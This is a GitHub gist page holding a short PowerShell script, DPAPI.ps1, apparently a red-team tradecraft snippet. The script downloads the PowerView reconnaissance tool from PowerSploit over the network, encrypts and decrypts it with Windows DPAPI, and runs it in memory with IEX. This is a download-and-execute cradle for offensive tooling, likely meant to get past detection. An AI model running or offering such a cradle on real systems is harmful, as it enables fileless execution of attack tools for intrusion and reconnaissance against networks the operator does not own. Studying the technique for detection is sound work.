Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
Created July 31, 2017 21:16
Show Gist options
  • Save HarmJ0y/06502493a5ad7c110a4e9f1a273e7f0a to your computer and use it in GitHub Desktop.
Save HarmJ0y/06502493a5ad7c110a4e9f1a273e7f0a to your computer and use it in GitHub Desktop.
DPAPI.ps1
Add-Type -AssemblyName System.Security
$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)
IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment